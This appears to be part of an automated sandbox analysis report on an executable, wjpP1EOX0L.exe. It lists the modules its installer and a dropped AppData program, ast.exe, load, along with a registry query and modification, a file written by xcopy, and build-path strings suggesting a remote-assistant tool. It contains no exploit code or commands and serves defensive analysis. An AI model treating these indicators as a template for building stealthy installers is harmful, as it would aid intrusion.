Source: C:\Users\user\AppData\Local\Temp\is-JOUMC.tmp\wjpP1EOX0L.tmp	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-JOUMC.tmp\wjpP1EOX0L.tmp	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-JOUMC.tmp\wjpP1EOX0L.tmp	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-JOUMC.tmp\wjpP1EOX0L.tmp	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-JOUMC.tmp\wjpP1EOX0L.tmp	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-JOUMC.tmp\wjpP1EOX0L.tmp	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-JOUMC.tmp\wjpP1EOX0L.tmp	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-JOUMC.tmp\wjpP1EOX0L.tmp	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-JOUMC.tmp\wjpP1EOX0L.tmp	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\wjpP1EOX0L.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\wjpP1EOX0L.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-9TM7I.tmp\wjpP1EOX0L.tmp	Section loaded: msimg32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-9TM7I.tmp\wjpP1EOX0L.tmp	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-9TM7I.tmp\wjpP1EOX0L.tmp	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-9TM7I.tmp\wjpP1EOX0L.tmp	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-9TM7I.tmp\wjpP1EOX0L.tmp	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-9TM7I.tmp\wjpP1EOX0L.tmp	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-9TM7I.tmp\wjpP1EOX0L.tmp	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-9TM7I.tmp\wjpP1EOX0L.tmp	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-9TM7I.tmp\wjpP1EOX0L.tmp	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-9TM7I.tmp\wjpP1EOX0L.tmp	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-9TM7I.tmp\wjpP1EOX0L.tmp	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-9TM7I.tmp\wjpP1EOX0L.tmp	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-9TM7I.tmp\wjpP1EOX0L.tmp	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-9TM7I.tmp\wjpP1EOX0L.tmp	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-9TM7I.tmp\wjpP1EOX0L.tmp	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-9TM7I.tmp\wjpP1EOX0L.tmp	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-9TM7I.tmp\wjpP1EOX0L.tmp	Section loaded: shfolder.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-9TM7I.tmp\wjpP1EOX0L.tmp	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-9TM7I.tmp\wjpP1EOX0L.tmp	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-9TM7I.tmp\wjpP1EOX0L.tmp	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-9TM7I.tmp\wjpP1EOX0L.tmp	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-9TM7I.tmp\wjpP1EOX0L.tmp	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-9TM7I.tmp\wjpP1EOX0L.tmp	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-9TM7I.tmp\wjpP1EOX0L.tmp	Section loaded: sfc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-9TM7I.tmp\wjpP1EOX0L.tmp	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-9TM7I.tmp\wjpP1EOX0L.tmp	Section loaded: explorerframe.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: cmdext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\xcopy.exe	Section loaded: ulib.dll	Jump to behavior
Source: C:\Windows\SysWOW64\xcopy.exe	Section loaded: ifsutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\xcopy.exe	Section loaded: devobj.dll	Jump to behavior
Source: C:\Windows\SysWOW64\xcopy.exe	Section loaded: fsutilext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\xcopy.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\im\ast.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\im\ast.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\im\ast.exe	Section loaded: olepro32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\im\ast.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\im\ast.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\im\ast.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\im\ast.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\im\ast.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\im\ast.exe	Section loaded: shfolder.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\im\ast.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\im\ast.exe	Section loaded: sqlite3.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\im\ast.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\im\ast.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\im\ast.exe	Section loaded: crtdll.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\im\ast.exe	Section loaded: msacm32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\im\ast.exe	Section loaded: quartz.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\im\ast.exe	Section loaded: msvfw32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\im\ast.exe	Section loaded: avifil32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\im\ast.exe	Section loaded: winmmbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\im\ast.exe	Section loaded: winmmbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\im\ast.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\im\ast.exe	Section loaded: logoncli.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\im\ast.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\im\ast.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\im\ast.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\im\ast.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\im\ast.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\im\ast.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\im\ast.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\im\ast.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\im\ast.exe	Section loaded: colorui.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\im\ast.exe	Section loaded: mscms.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\im\ast.exe	Section loaded: coloradapterclient.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\im\ast.exe	Section loaded: compstui.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\im\ast.exe	Section loaded: msimg32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\im\ast.exe	Section loaded: inetres.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\im\ast.exe	Section loaded: msimg32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\im\ast.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\im\ast.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\im\ast.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\im\ast.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\im\ast.exe	Section loaded: security.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\im\ast.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\im\ast.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\im\ast.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\im\ast.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\im\ast.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\im\ast.exe	Section loaded: dbgcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\im\ast.exe	Section loaded: cscapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\im\ast.exe	Section loaded: d3d11.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\im\ast.exe	Section loaded: dxgi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\im\ast.exe	Section loaded: astcrp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\im\ast.exe	Section loaded: libssl-1_1.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\im\ast.exe	Section loaded: libcrypto-1_1.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\im\ast.exe	Section loaded: libcrypto-1_1.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\im\ast.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\im\ast.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\im\ast.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\im\ast.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\im\ast.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\im\ast.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\im\ast.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\im\ast.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\im\ast.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\im\ast.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\im\ast.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\im\ast.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\im\ast.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\im\ast.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\im\ast.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\im\ast.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\im\ast.exe	Section loaded: dataexchange.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\im\ast.exe	Section loaded: dcomp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\im\ast.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\im\ast.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\im\ast.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\im\ast.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\im\ast.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\im\ast.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\im\ast.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\im\ast.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\im\ast.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\im\ast.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\im\ast.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\im\ast.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\im\ast.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\im\ast.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\im\ast.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\im\ast.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\im\ast.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\im\ast.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\im\ast.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\im\ast.exe	Section loaded: symsrv.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\im\ast.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\im\ast.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\im\ast.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\im\ast.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\im\ast.exe	Section loaded: olepro32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\im\ast.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\im\ast.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\im\ast.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\im\ast.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\im\ast.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\im\ast.exe	Section loaded: shfolder.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\im\ast.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\im\ast.exe	Section loaded: sqlite3.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\im\ast.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\im\ast.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\im\ast.exe	Section loaded: crtdll.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\im\ast.exe	Section loaded: msacm32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\im\ast.exe	Section loaded: quartz.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\im\ast.exe	Section loaded: msvfw32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\im\ast.exe	Section loaded: avifil32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\im\ast.exe	Section loaded: winmmbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\im\ast.exe	Section loaded: winmmbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\im\ast.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\im\ast.exe	Section loaded: logoncli.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\im\ast.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\im\ast.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\im\ast.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\im\ast.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\im\ast.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\im\ast.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\im\ast.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\im\ast.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\im\ast.exe	Section loaded: colorui.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\im\ast.exe	Section loaded: mscms.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\im\ast.exe	Section loaded: coloradapterclient.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\im\ast.exe	Section loaded: compstui.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\im\ast.exe	Section loaded: msimg32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\im\ast.exe	Section loaded: inetres.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\im\ast.exe	Section loaded: msimg32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\im\ast.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\im\ast.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\im\ast.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\im\ast.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\im\ast.exe	Section loaded: security.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\im\ast.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\im\ast.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\im\ast.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\im\ast.exe	Section loaded: sxs.dll	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\is-JOUMC.tmp\wjpP1EOX0L.tmp

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{1f486a52-3cb1-48fd-8f50-b8dc300d9f9d}\InProcServer32

Jump to behavior

Source: C:\Windows\SysWOW64\xcopy.exe

File written: C:\Users\user\AppData\Roaming\im\config.ini

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\is-JOUMC.tmp\wjpP1EOX0L.tmp

Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion RegisteredOwner

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\is-9TM7I.tmp\wjpP1EOX0L.tmp

Window found: window name: TMainForm

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: wjpP1EOX0L.exe

Static file information: File size 6810986 > 1048576

Source: wjpP1EOX0L.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source:	Binary string: D:\ProjectsVS2015\OpenSSL\openssl-1.1.1l\libcrypto-1_1.pdb source: xcopy.exe, 00000009.00000003.2089288252.00000000035B2000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000A.00000002.2999895866.000000006BE30000.00000002.00000001.01000000.00000014.sdmp
Source:	Binary string: C:\OpenSSL\Temp\openssl-1.0.2u-x32\out32dll\ssleay32.pdb source: wjpP1EOX0L.tmp, 00000003.00000003.2082364759.000000000701D000.00000004.00001000.00020000.00000000.sdmp, xcopy.exe, 00000009.00000003.2385110004.00000000033F8000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\OpenSSL\Temp\openssl-1.0.2u-x32\out32dll\libeay32.pdb source: xcopy.exe, 00000009.00000003.2096546624.00000000033F9000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\ProjectsVS2015\!Ast_SVN\00_Bin\AstRct.pdb source: xcopy.exe, 00000009.00000003.2087883460.00000000033F7000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000A.00000002.3002416551.000000006C1CF000.00000002.00000001.01000000.00000011.sdmp, astrct.dll.9.dr
Source:	Binary string: D:\Projects\Delphi\_Assistant\10_FSTEK_02\00_Bin\Hatls.pdb source: xcopy.exe, 00000009.00000003.2088110800.00000000035D3000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000A.00000002.3005322508.000000006C482000.00000002.00000001.01000000.00000010.sdmp
Source:	Binary string: D:\ProjectsVS2015\!Ast_SVN\00_Bin\libjpeg-turbo-win.pdb source: xcopy.exe, 00000009.00000003.2096624002.000000000341C000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\Projects\Delphi\_Assistant\10_FSTEK_02\00_Bin\Hatls.pdbf source: xcopy.exe, 00000009.00000003.2088110800.00000000035D3000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000A.00000002.3005322508.000000006C482000.00000002.00000001.01000000.00000010.sdmp
Source:	Binary string: compiler: cl /Zi /Fdossl_static.pdb /Gs0 /GF /Gy /MD /W3 /wd4090 /nologo /O2 -DL_ENDIAN -DOPENSSL_PIC -DOPENSSL_CPUID_OBJ -DOPENSSL_BN_ASM_PART_WORDS -DOPENSSL_IA32_SSE2 -DOPENSSL_BN_ASM_MONT -DOPENSSL_BN_ASM_GF2m -DSHA1_ASM -DSHA256_ASM -DSHA512_ASM -DRC4_ASM -DMD5_ASM -DRMD160_ASM -DAESNI_ASM -DVPAES_ASM -DWHIRLPOOL_ASM -DGHASH_ASM -DECP_NISTZ256_ASM -DPOLY1305_ASM source: ast.exe, 0000000A.00000002.2999895866.000000006BDC7000.00000002.00000001.01000000.00000014.sdmp
Source:	Binary string: D:\ProjectsVS2015\!Ast_SVN\00_Bin\AstClient.pdb source: ast.exe, 0000000A.00000002.3007667489.000000006CFB3000.00000002.00000001.01000000.0000000F.sdmp, is-951GK.tmp.3.dr
Source:	Binary string: D:\ProjectsVS2015\!Ast_SVN\00_Bin\AstRct.pdbM6 source: xcopy.exe, 00000009.00000003.2087883460.00000000033F7000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000A.00000002.3002416551.000000006C1CF000.00000002.00000001.01000000.00000011.sdmp, astrct.dll.9.dr
Source:	Binary string: vcruntime140.i386.pdb source: wjpP1EOX0L.tmp, 00000003.00000003.2082364759.000000000701D000.00000004.00001000.00020000.00000000.sdmp, xcopy.exe, 00000009.00000003.2385212736.00000000033F8000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000A.00000002.3008128485.000000006F701000.00000020.00000001.01000000.00000015.sdmp
Source:	Binary string: vcruntime140.i386.pdbGCTL source: wjpP1EOX0L.tmp, 00000003.00000003.2082364759.000000000701D000.00000004.00001000.00020000.00000000.sdmp, xcopy.exe, 00000009.00000003.2385212736.00000000033F8000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000A.00000002.3008128485.000000006F701000.00000020.00000001.01000000.00000015.sdmp
Source:	Binary string: D:\ProjectsVS2015\!Ast_SVN\00_Bin\libjpeg-turbo-win.pdb! source: xcopy.exe, 00000009.00000003.2096624002.000000000341C000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: vcomp140.i386.pdbGCTL source: wjpP1EOX0L.tmp, 00000003.00000003.2082364759.000000000701D000.00000004.00001000.00020000.00000000.sdmp, xcopy.exe, 00000009.00000003.2385162742.00000000033F8000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\CFILES\Projects\WinSSL\openssl-1.1.0g\libcrypto-1_1.pdb source: xcopy.exe, 00000009.00000003.2094846139.00000000035DF000.00000004.00000020.00020000.00000000.sdmp, is-VCJTB.tmp.3.dr
Source:	Binary string: msvcr120.i386.pdb source: xcopy.exe, 00000009.00000003.2097728621.00000000033F8000.00000004.00000020.00020000.00000000.sdmp, msvcr120.dll.9.dr
Source:	Binary string: D:\ProjectsVS2015\!Ast_SVN\00_Bin\AstClient.pdbe source: ast.exe, 0000000A.00000002.3007667489.000000006CFB3000.00000002.00000001.01000000.0000000F.sdmp, is-951GK.tmp.3.dr
Source:	Binary string: C:\OpenSSL\Temp\openssl-1.0.2u-x32\out32dll\ssleay32.pdb@W source: wjpP1EOX0L.tmp, 00000003.00000003.2082364759.000000000701D000.00000004.00001000.00020000.00000000.sdmp, xcopy.exe, 00000009.00000003.2385110004.00000000033F8000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: .pdbnes\AppData\Roaming\im\ source: ast.exe, 0000000A.00000002.2978052448.000000000019A000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: D:\ProjectsVS2015\OpenSSL\openssl-1.1.1l\libssl-1_1.pdb@@ source: xcopy.exe, 00000009.00000003.2097505417.0000000003418000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000A.00000002.3006758328.000000006CA31000.00000002.00000001.01000000.00000013.sdmp, is-UA1D6.tmp.3.dr
Source:	Binary string: C:\Users\user\AppData\Roaming\im\ast.pdb\*D{ source: ast.exe, 0000000A.00000002.2978052448.000000000019A000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: vcomp140.i386.pdb source: wjpP1EOX0L.tmp, 00000003.00000003.2082364759.000000000701D000.00000004.00001000.00020000.00000000.sdmp, xcopy.exe, 00000009.00000003.2385162742.00000000033F8000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\ProjectsVS2015\OpenSSL\openssl-1.1.1l\libssl-1_1.pdb source: xcopy.exe, 00000009.00000003.2097505417.0000000003418000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000A.00000002.3006758328.000000006CA31000.00000002.00000001.01000000.00000013.sdmp, is-UA1D6.tmp.3.dr
Source:	Binary string: C:\Users\user\AppData\Roaming\im\ast.pdb source: ast.exe, 0000000A.00000002.2978052448.000000000019A000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: @ compiler: cl /Zi /Fdossl_static.pdb /Gs0 /GF /Gy /MD /W3 /wd4090 /nologo /O2 -DL_ENDIAN -DOPENSSL_PIC -DOPENSSL_CPUID_OBJ -DOPENSSL_BN_ASM_PART_WORDS -DOPENSSL_IA32_SSE2 -DOPENSSL_BN_ASM_MONT -DOPENSSL_BN_ASM_GF2m -DSHA1_ASM -DSHA256_ASM -DSHA512_ASM -DRC4_ASM -DMD5_ASM -DRMD160_ASM -DAESNI_ASM -DVPAES_ASM -DWHIRLPOOL_ASM -DGHASH_ASM -DECP_NISTZ256_ASM -DPOLY1305_ASMOpenSSL 1.1.1l 24 Aug 2021built on: Tue Sep 7 07:24:19 2021 UTCplatform: VC-WIN32OPENSSLDIR: "C:\Program Files (x86)\Common Files\SSL"ENGINESDIR: "C:\Program Files (x86)\OpenSSL\lib\engines-1_1"not availabledes(long) source: ast.exe, 0000000A.00000002.2999895866.000000006BDC7000.00000002.00000001.01000000.00000014.sdmp

Source: C:\Users\user\AppData\Roaming\im\ast.exe

Code function: 10_2_6B90AE50 WSAStartup,WSACleanup,GetModuleHandleA,GetProcAddress,_strpbrk,LoadLibraryA,GetProcAddress,GetSystemDirectoryA,GetSystemDirectoryA,LoadLibraryA,GetProcAddress,if_nametoindex,QueryPerformanceFrequency,

10_2_6B90AE50

Source: is-4POLO.tmp.3.dr	Static PE information: section name: .rodata
Source: is-82POG.tmp.3.dr	Static PE information: section name: .textbss
Source: is-82POG.tmp.3.dr	Static PE information: section name: .msvcjmc
Source: is-82POG.tmp.3.dr	Static PE information: section name: .00cfg
Source: is-SD6OU.tmp.3.dr	Static PE information: section name: .00cfg
Source: is-UA1D6.tmp.3.dr	Static PE information: section name: .00cfg
Source: is-ND9BQ.tmp.3.dr	Static PE information: section name: .code
Source: quartz.dll.9.dr	Static PE information: section name: .code
